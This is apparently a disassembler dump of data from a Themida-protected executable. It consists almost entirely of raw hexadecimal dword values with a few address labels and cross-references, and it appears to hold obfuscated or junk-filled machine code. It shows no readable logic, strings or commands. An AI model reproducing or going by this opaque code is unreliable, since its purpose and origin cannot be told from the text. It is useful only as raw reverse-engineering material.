		dd 6A96A949h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 70DFC355h, 7CFFCC44h, 0AE9CBh, 4C30000h
		dd 0A6C17A5Eh, 0E0DB6259h, 0ADDFB5FFh, 6A060Ah,	3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 150F5FC3h, 82C5ACAFh, 995FF03h, 6A06072Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0DE94C355h, 1DA46258h, 0C159D8Bh, 56BF0607h,	836A2FA2h
		dd 714C1BDh, 840F0006h,	52h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0F2C35545h,	108F0FE8h, 0E9000000h
		dd 0Bh,	0FF4786ABh, 0F2692041h,	96F47834h, 14E9h, 0DB3C0800h
		dd 0F7736F4Ah, 29D59F3Eh, 0AC9FFF25h, 0E280F755h, 8B66500Bh
		dd 0B5FF96F8h, 60AADDFh, 0DF17EB81h, 95FF7654h,	6071F95h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C0C35141h
		dd 0ECF7E1BEh, 98D0Fh, 31600000h, 7222D85h, 0FF61F506h
		dd 0AADDFB5h, 0FFBF0F06h, 2C195FFh, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0CAF71FC3h
		dd 33BDF8B1h, 9BFE7E4h,	713218Dh, 83FD8A06h, 72865BDh
		dd 840F0206h, 5Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0BAC35343h, 5890F45h,	66000000h, 0F59DE781h
		dd 0E69858Bh, 0CF810607h, 49EBFEA3h, 6A0000C6h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 6611C353h, 8984A682h, 70A7D85h, 5185C706h, 6072Ah, 89000000h
		dd 70CC5BDh, 0F46EE906h, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0CDB8D2C3h, 6AC18BF9h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 134C355h,	70E3595h
		db 6
byte_584375	db 8Dh,	85h, 0B1h	; DATA XREF: Themida_:0053E87Co
					; Themida_:0053EA50o
		dd 6A060718h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 2A43C357h, 90FB8B53h, 6A9050h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BF0F32C3h, 6D9D89DAh, 6A060710h, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 63CB4D0Dh
		dd 0F87ABDE9h, 6A006Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 858DEAC3h, 60B7DC4h, 1E85B589h
		dd 0C0830607h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0A3BB6F42h, 905DDDB6h
		dd 0FE8h, 0BF040200h, 6D09E8CCh, 852AF1Bh, 0BCFB43A9h
		dd 5BDA8B66h, 90D98B50h, 0ACF78166h, 0F006A03h,	8166DABFh
		dd 6A1ABADFh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0F986F04Fh, 1E3D95FFh, 13E80607h
		dd 5D000000h, 0CA1999E4h, 1DE2AA83h, 54B78827h,	7D49A113h
		dd 8D5BAA61h, 0A93D58Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0E9481D1Dh, 0Fh, 7DA318C6h
		dd 0B6D26F43h, 8849124Eh, 0FF448599h, 97C780D1h, 12E9h
		dd 0FD0BF500h, 0CA4AECCDh, 0E6CFB416h, 22A8A756h, 830A9FADh
		dd 719BDBDh, 850F0106h,	7Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0C7C35040h,	0F5979ED2h, 6AFABF0Fh
		dd 6860F02h, 8B000000h,	72E6DBDh, 8B665006h, 240489DEh
		dd 0D8E0Fh, 8E90000h, 36000000h, 359C9D1Eh, 8982F52Ah
		dd 7121995h, 9195FF06h,	6A060707h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 6DF1C355h
		dd 0C9033E93h, 66A73228h, 0E9001CBBh, 0EC5h, 0E8h, 0ED815D00h
		dd 60B7DCEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	2DC35747h, 0CE633A61h, 31371244h, 2559531h, 6A0607h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 4B396DC3h, 8D887CCEh, 0A843F85h, 0FFE8A06h, 0E990DFBFh
		dd 0Bh,	0AAE69B80h, 0A85A3BD7h,	50106B7Fh, 0CF8B6660h
		dd 9061F38Bh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 15h,	0CDC35343h, 91BD8BE2h, 64060705h, 35FFh, 89640000h
		dd 25h,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh,	24448104h
		dd 1904h, 0C3564600h, 0D8E2C7C5h, 9589FD09h, 6070B71h
		dd 32D5B589h, 81660607h, 0FF4218E3h, 72F5985h, 0B5295106h
		dd 6070E61h, 6AFF6A5Bh,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0F9A7C350h,	0CADF3E37h
		dd 2051B509h, 0B5FF0607h, 6070859h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 86C35141h, 1B4108FAh, 10E8h
		dd 9CA32900h, 0EDAF7C43h, 0B45EB6E2h, 31B9E0B7h, 605BF9DCh
		dd 0EE98D09h, 85230607h, 6072CBDh, 8995FF61h, 0E906072Bh
		dd 15Fh, 0B0DE8Bh, 0F299D8Bh, 70E60607h, 5800Fh, 0F8BF0000h
		dd 0E45B1D12h, 37BF6671h, 0F613C5Fh, 13A83h, 659D2B00h
		dd 0F06070Ah, 11E9C8B6h, 81000000h, 9E48A038h, 83EF68Dh
		dd 3DA8E825h, 0CB1C6C51h, 0AE9h, 26034D00h, 967836F5h
		dd 0BA1A2A58h, 6, 169B589h, 9D010607h, 6072FE5h, 8D29C18Bh
		dd 60718E1h, 0F04E8C1h,	481h, 0DA8B5200h, 0E2F7665Bh, 2A219D8Bh
		dd 0C82B0607h, 8BF8BF0Fh, 9E960D1h, 68000000h, 0AA2B65Eh
		dd 870D8088h, 0DF8B6650h, 7E9615Bh, 0F8000000h,	6D40D781h
		dd 858B1119h, 6071FD5h,	79F5EB81h, 0C0836963h, 459D2307h
		dd 83060713h, 0CE800C0h, 0FE000000h, 8CA502D5h,	0AE505547h
		dd 0E9FF7E2Fh, 0Ah, 0A1C70A4Bh,	89F46FB5h, 3B5BC8C3h, 11830FD0h
		dd 81000000h, 1C09ACE7h, 0BDB53146h, 0E9060722h, 63h, 1EE58D8Bh
		dd 0FE80607h, 1F000000h, 27C57BD0h, 0B91FC9E0h,	1253E8E6h
		dd 0B70F195Ch, 0E1835FF8h, 3C840F01h, 8B000000h, 73251BDh
		dd 0E5A58306h, 0FE06071Eh, 1C800Fh, 12E80000h, 90000000h
		dd 83DBA38Eh, 0BE032505h, 0C1D975C2h, 0B500C90Bh, 0AABB66F8h
		dd 95895F6Eh, 6071FD5h,	0E9D88Bh, 8D000000h, 0AF30CB5h
		dd 0C820F06h, 0F000000h, 686h, 850F00h,	6A000000h, 0DEBF0F00h
		dd 0D6995FFh, 9D310607h, 6073329h, 81BB9h, 83C9B300h, 0BF0FFCE1h
		dd 0BF0FFCFFh, 20BF66FAh, 89C02B34h, 72B9D9Dh, 0BA06h
		dd 0BB660000h, 33AD85C9h, 3E8D1C2h, 4E983D0h, 0BF66F475h
		dd 8166447Ch, 0F50603D7h, 880Dh, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0F0AE0B70h
		dd 0F88B662Fh, 8BFB8B66h, 71AD995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 71E824A0h
		dd 0D8BF66A5h, 0C8E0F6Ah, 0F000000h, 689h, 0C9BD8B00h
		dd 8B06071Ah, 7101D8Dh,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0C16C64FCh, 56D3BA0h
		dd 625CBF66h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 2126E7C3h, 8C2FCC94h, 0FA95FD1h, 48Dh, 0A9BF6600h
		dd 11E961h, 0E8DF0000h,	0CA353CA2h, 841F3E77h, 87A39A34h
		dd 6AC2D7DBh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 7FD7C351h, 0F88B6680h,	1525BD03h
		dd 0BD830607h, 6070E29h, 98840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0B842C356h, 0
		dd 1853152h, 5B06071Eh,	4B9B8D8Dh, 6A0607h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0D6FBCDC3h
		dd 0F7BFB5F1h, 12C59D89h, 0E1FF0607h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 75C35646h, 0DA76AFFFh, 0DE860h
		dd 76DB0000h, 0EF37607Eh, 7CEEE6D7h, 668621A8h,	5AE952BEh
		dd 30D9589h, 83610607h,	73305BDh, 840F0006h, 497h, 19F5BD8Bh
		dd 0BD830607h, 6073305h, 9F840F01h, 31000004h, 72221B5h
		dd 5BD8306h, 3060733h, 456860Fh, 0BD890000h, 6072D1Dh
		dd 56006A60h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 719D8910h, 8B06070Eh, 702A59Dh, 0CB816606h
		dd 8C665FB3h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 896DD7FCh, 72BC98Dh, 4E18006h, 0B3C78166h
		dd 0FC90A3Ah, 15D84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 6F4C1E57h, 858B7FE5h
		dd 6072A1Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	59C35040h, 0EFF0E32h, 757FF2A2h, 1AFD8533h, 8B660607h
		dd 0DE8B90FEh, 830F6050h, 2, 0BE9FB8Bh,	17000000h, 72A28EE1h
		dd 85B2F8B0h, 906175EFh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 41C35646h, 6522F0EBh,	6AC0CF80h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0E8F5F839h, 11h, 9625963Fh, 2AC19683h, 0CAAC9E59h, 0E867AE58h
		dd 8D8957DAh, 6072155h,	0BD8B5F5Bh, 6072A79h, 28010268h
		dd 8D0F8Fh, 81000000h, 2FD2404h, 6A70F7h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 7B39BDC3h
		dd 0F8F0B760h, 0FD858961h, 0FF06072Ch, 709F995h, 2D8D2906h
		dd 89060730h, 0AADDF85h, 0BF666006h, 8D31DC94h,	6072235h
		dd 1FCE961h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 76EDBBC3h, 29F3BF88h, 858B69F6h
		dd 60AADD7h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0AAC35646h, 73ABE989h, 2B719D03h, 0C70607h, 18h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0A1C35040h
		dd 1D1732B8h, 0ADDBB58Bh, 6A060Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0A5E59DC3h, 0FC8447D5h
		dd 2BCD858Bh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 6FBFDDC3h, 10E901DEh, 4B000000h
		dd 0CC039320h, 609ADBECh, 0B8E31673h, 8B097B14h, 8B0689D9h
		dd 730559Dh, 1D858B06h,	6A06072Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0D1F3C357h
		dd 10DD5BF4h, 4665B79Fh, 6810Fh, 95890000h, 6070911h, 0E9044689h
		dd 11h,	49F9312Ch, 0A7B781A5h, 6AFCF73h, 13CA892Dh, 3DBD8BDFh
		dd 5006070Ch, 3489D88Bh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0E99386EFh, 6697A0CDh
		dd 0FF1CC6BBh, 0AADD7B5h, 7E906h, 3C160000h, 39832FA9h
		dd 0EEC76811h, 0F6040BDh, 28Fh,	666DB200h, 61E214BBh, 38243481h
		dd 3340A2EDh, 71FDD9Dh,	0DF858D06h, 57060AADh, 505FD98Bh
		dd 0DA8B6660h, 0EE8h, 5714800h,	0F83FEEFBh, 4B3878Bh, 0FC867CEh
		dd 84h,	89615B00h, 9D8B2404h, 60707D5h,	9F995FFh, 6A0607h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 89B0B2C3h, 73029B5h,	0DEBF0F06h, 21659509h, 6A610607h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0E9A7C350h, 924586C9h, 0ED3E55BDh, 330585C7h
		dd 30607h, 26B30000h, 0ADDFBD83h, 0F00060Ah, 7784h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0E8D6CFA4h, 0Fh, 2CD6ECF9h, 0E68870F3h, 0D2B3D5C9h
		dd 0E994F932h, 9, 9F51B23h, 0A22EDA90h,	8D895FD2h, 6070BE1h
		dd 46E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 62AFABC5h, 45B2B821h, 0BD299B06h
		dd 60714A9h, 110C3050h,	1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 0E8C08B00h
		db 7, 0
word_584F4E	dw 0			; DATA XREF: ___:00436804o
		dd 0E0AB889Bh, 0E9E44C6Dh, 0Eh,	0E723F0D2h, 0DDEC6EB4h
		dd 4EFBA50Bh, 6A5FD2FDh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 7924C350h, 2EA8A3D5h
		dd 10E94840h, 0D4000000h, 0F11EC2B1h, 21D5874Dh, 0E19C0929h
		dd 836AF1E5h, 73305BDh,	850F0306h, 445h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 3FC35141h, 0F4EC9734h
		dd 0F071AD74h, 35BD0360h, 0E8060703h, 0Dh, 0E8A9AFD8h
		dd 0DFF5B9DCh, 0F08D8FBh, 860F24h, 5B000000h, 0DFBD8361h
		dd 60AADh, 3F3840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0BC564DC3h, 1A016058h
		dd 0ADDFB5FFh, 0BF66060Ah, 95FF9CF2h, 6072129h,	5870F51h
		dd 66000000h, 8204EF81h, 0D3B58B5Fh, 0F060AADh,	6C7FEB7h
		dd 10001h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	13C35141h, 0BBAFC768h, 3F882D29h, 0E41BD2Bh, 0BF500607h
		dd 2EBAC8B8h, 6A243489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 53AC357h, 0AA157076h
		dd 2F159D31h, 0B5FF0607h, 60AADDFh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0DFC35646h,	5DFCD87Fh, 0AE94Ah
		dd 3C330000h, 41D34654h, 0B8E717ACh, 13ED9D8Bh,	0CB800607h
		dd 5195FFB1h, 66060702h, 8B9818BFh, 0AADD3B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 9C1E766h, 8BDA8BE4h,	712A185h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0DBB70F2Fh
		dd 0EDBD8Bh, 86890607h,	0C4h, 1AD9958Bh, 0BF660607h, 0C283C135h
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0E8E1E630h, 0Bh,	1ECD27C8h, 928AFFAAh, 5F6BEC7Ch
		dd 6A205089h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 52FBC357h, 0F9312C7Ch,	8FBFA549h
		dd 0F548BEDh, 688h, 1D958900h, 8D060705h, 0AC17085h, 0DBB70F06h
		dd 22A18D29h, 86890607h, 0B8h, 2869B529h, 6A0607h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 8FC35040h, 14E8h
		dd 0AC6E7400h, 67E5E77Ah, 0AE33FF69h, 0E556C488h, 0E8D37FA0h
		dd 5F5F5756h, 66D78B60h, 61CADBB9h, 0ADDFB5FFh,	8166060Ah
		dd 66935AD7h, 0FF26D0BBh, 7079195h, 88F38106h, 961BB8F2h
		dd 0F525050h, 50525031h, 5A310F52h, 66310F58h, 5A5375BBh
		dd 96585A58h, 0D9DBD33h, 0B5FF0607h, 60AADDFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 6EC35747h, 8D296FF0h
		dd 60728F5h, 5E9h, 22137F00h, 95FF85F6h, 6072D09h, 905B589h
		dd 0BD830607h, 60714C1h, 68840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 72FCC351h, 0BBEB421Ah, 6840Fh, 9D8B0000h, 6071A59h
		dd 49BF6696h, 0E86050B7h, 0Ah, 0F40897E0h, 895C6220h, 4DB0905Bh
		dd 6A96615Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 51BDC357h, 0FFFA8BECh,	0AADDFB5h
		dd 0CF816606h, 95FF8C27h, 6071F95h, 2CB59D8Bh, 0E3810607h
		dd 3D833A7Bh, 0ADDFB5FFh, 6A060Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 45390FC3h, 82862C5Bh
		dd 7E986h, 0FB560000h, 687BD5C1h, 0C195FFDFh, 8A060702h
		dd 65BD83F8h, 2060728h,	73840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0FB4DBDC3h
		dd 0F35B2256h, 10E9h, 0B3DCA00h, 0CBDF4545h, 5154CDD5h
		dd 637899A5h, 0B19D8B04h, 8B060722h, 72F619Dh, 69858B06h
		dd 6A06070Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 6570C355h, 0A1BD8B29h,	0C606070Eh
		dd 0F3800000h, 5185C77Fh, 6072Ah, 29000000h, 72C5585h
		dd 0F27BE906h, 6AFFFFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 880E05C3h, 3D2F03A4h, 66F987DEh
		dd 0C18BF98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	2CC35343h, 0BD8B155Bh, 6070795h, 0E7B3DBFh, 0B1858D60h
		dd 90060718h, 9050ADB3h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Dh, 0F2C35040h, 970C1F36h, 0ABBE2A94h, 0B74DB38Eh
		dd 0F006A11h, 6ADEBFh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 5C35141h, 830F9B2Eh, 6, 2A818D89h, 858D0607h
		dd 60B8EC6h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0F9C35646h, 0ABB545BBh,	698D893Fh, 89060710h, 71E21B5h
		dd 5C08306h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	9CC35040h, 79958931h, 66060700h, 6690D98Bh, 9050F98Bh
		dd 12E9D98Ah, 4A000000h, 3BE29021h, 5962F7A7h, 72D2F326h
		dd 19F78400h, 8B006A88h, 711A59Dh, 6A006A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0B8B5C356h, 0BBE58B66h, 6C5F49ABh, 3349BD8Bh, 95FF0607h
		dd 6071E3Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	76C35747h, 0FF4786ABh, 89512041h, 705918Dh, 0DF815F06h
		dd 7DC12487h, 93D58D8Dh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 418544C3h, 35BFBF6Eh
		dd 0F6064EDh, 0B966CEBFh, 0FF617C09h, 0A99D03D1h, 8306070Ch
		dd 719BDBDh, 850F0106h,	0A5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0CAC35747h,	6E8h, 0D0DE1C00h
		dd 5B77D8E0h, 8B666052h, 14E9CFh, 45D40000h, 5FBF0D48h
		dd 90E8BD77h, 0FF20C723h, 0D17FAE60h, 5B61C568h, 14E8026Ah
		dd 0EC000000h, 7D97FBECh, 0E25FC4AFh, 0BDCBE780h, 6CFD3894h
		dd 0E82A7DC8h, 10h, 29FE7348h, 9F74DE98h, 2CA1AC8Bh, 100337A4h
		dd 1411BD8Bh, 5B5B0607h, 0E9525050h, 6,	6B1C0C36h, 310F85FFh
		dd 585AF98Bh, 8A240489h, 9195FFFEh, 8B060707h, 706859Dh
		dd 0DDAE906h, 0E80000h,	5D000000h, 8ED0ED81h, 11E9060Bh
		dd 0B2000000h, 0E09DB51h, 818A0CC4h, 0A859F2Eh,	0F64B81F1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 7C35343h
		dd 8B607B86h, 0F58529F1h, 6106071Ah, 858DDD8Ah,	60A843Fh
		dd 50DF8B66h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0AC6BC355h,	3A4EAE01h
		dd 64FA8B66h, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 627D50C3h, 371BD8Bh
		dd 0F570607h, 285h, 5B62B300h, 258964h,	6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0C648C353h,	0A8F5D83Eh
		dd 48D0FA0h, 66000000h,	0FFE898BBh, 72F5985h, 7D9D8906h
		dd 6A060718h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 51B5FF7Bh, 6A060713h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0B89BC355h
		dd 8B6B469Ch, 70905BDh,	8995FF06h, 0E906072Bh, 15Dh, 28B19D8Bh
		dd 0B00607h, 287DBD89h,	70E60607h, 6870F60h, 2B000000h
		dd 71249BDh, 20BBB906h,	0BB612495h, 4618B20Ch, 858971E4h
		dd 6070F19h, 830F613Ch,	125h, 15830Fh, 10E90000h, 19000000h
		dd 0A8ECAB64h, 54741D31h, 59B12DBEh, 668B168Bh,	0F81C1BFh
		dd 8166C8B6h, 0BFC0BECFh, 44C42280h, 6BAh, 0E7816600h
		dd 0C18BBEAAh, 1FD1BD8Bh, 0AEBB0607h, 0C132E654h, 9D8904E8h
		dd 6070C25h, 1E2F766h, 718D5BDh, 29C82B06h, 71AF59Dh, 66D18B06h
		dd 0F9B1D781h, 6E9h, 9852900h, 8B06072Bh, 7020185h, 7C08306h
		dd 0E800C083h, 13h, 6ACA961Ah, 87ECB80Bh, 0D273DC5Ah, 0A5D4CFF2h
		dd 8931936Eh, 70BD5B5h,	0D03B5F06h, 16830Fh, 9D8B0000h
		dd 607134Dh, 0C5B088BBh, 73E90Bh, 85010000h, 6072059h
		dd 26198D8Bh, 12E90607h, 18000000h, 0CACCC160h,	5FB2BA78h
		dd 8AC2A5C0h, 4655B5E7h, 1E183B2h, 47840Fh, 0FE90000h
		dd 88000000h, 48052C30h, 0AB6B584Dh, 59152925h,	0A5830777h
		dd 6072619h, 7E9FEh, 0ADD30000h, 0D1F6D666h, 1958981h
		dd 0E9060702h, 10h, 9AFB91h, 0FF921F1Ch, 1C3AE0E2h, 16477719h
		dd 0E9h, 24B58D00h, 89060AFDh, 70CA9B5h, 6A006A06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0F150C357h, 800F53EFh, 2, 0FF5F5B51h, 70D6995h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 7E989A0h, 0D3000000h, 46120D6Dh, 31B9DB71h, 0F000007h
		dd 28Ah, 83EEB300h, 6AFCE1h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 180424h, 57470000h, 3E442AC3h, 9D8B0A4Eh
		dd 607205Dh, 0F8D8509h,	6AFC0607h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0CB9AC355h
		dd 0B5BD8B46h, 0B806071Eh, 0
		dd 8896BF66h, 9D0BD22Bh, 607117Dh, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0BE9h, 13340B00h, 9E411581h, 4E929CC4h
		dd 0FE8h, 0C913DC00h, 2214C18h,	8BC744F9h, 43798A74h, 0B19BD8Bh
		dd 665B0607h, 880DFA8Bh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0AFA3C353h
		dd 8B96A28Ah, 71AD995h,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 75B5091Ch, 8B060706h
		dd 7101D8Dh, 0A98D8906h, 50060728h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 19D0958h, 0B7060712h,	29BD8380h
		dd 6070Eh, 0A3840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0FE40D4C3h, 2D9D89h
		dd 0C7810607h, 4E586751h, 0B8h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 306AC1D6h
		dd 34D9CE5Eh, 4B5999BBh, 8DDE8B47h, 74B9B8Dh, 0CE906h
		dd 60CC0000h, 0F732D8B5h, 4981FF87h, 0E1FFDC1Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FC35343h, 0E5D74489h
		dd 19B88E57h, 84BB52DBh, 5F372A5Ch, 0D8B959BBh,	5BD8374h
		dd 60733h, 3FF840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0CFE29CC3h, 40177FC4h
		dd 0EEBB8EDBh, 83624C9Ah, 73305BDh, 840F0106h, 3E4h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0C35646h, 0FED2FB3h
		dd 68Bh, 959D8B00h, 83060728h, 73305BDh, 860F0306h, 376h
		dd 6A60F8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 8509EAC3h, 6071E8Dh, 61CFBB66h, 8BD98C66h
		dd 7222DBDh, 4E18006h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 71C35040h, 0BCDE5065h, 0BD333180h, 6070CA9h
		dd 840FC90Ah, 10Eh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 15h, 82C35040h, 0E9BF662Fh, 8E9D5h, 98370000h
		dd 35E67CACh, 858BA1BCh, 6072A1Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0B4C35747h,	0F9B1CD60h, 474C76C9h
		dd 8C0F95h, 33000000h, 71AFD85h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 89DF5303h
		dd 0FC3B3F4h, 887h, 28E0F00h, 60000000h, 8B665061h, 240489FBh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0CFC35242h
		dd 0A1BB006Ah, 68018C99h, 544DBE1Fh, 52505160h,	585A310Fh
		dd 61C88A5Ah, 0E0243481h, 0E95452BDh, 13h, 103B8546h, 1C6DB04Dh
		dd 39BDCEBAh, 0D496FC7Bh, 0FF2EE9B2h, 709F995h,	918D8906h
		dd 6606072Bh, 89699FBFh, 0AADDF85h, 192E906h, 0BB660000h
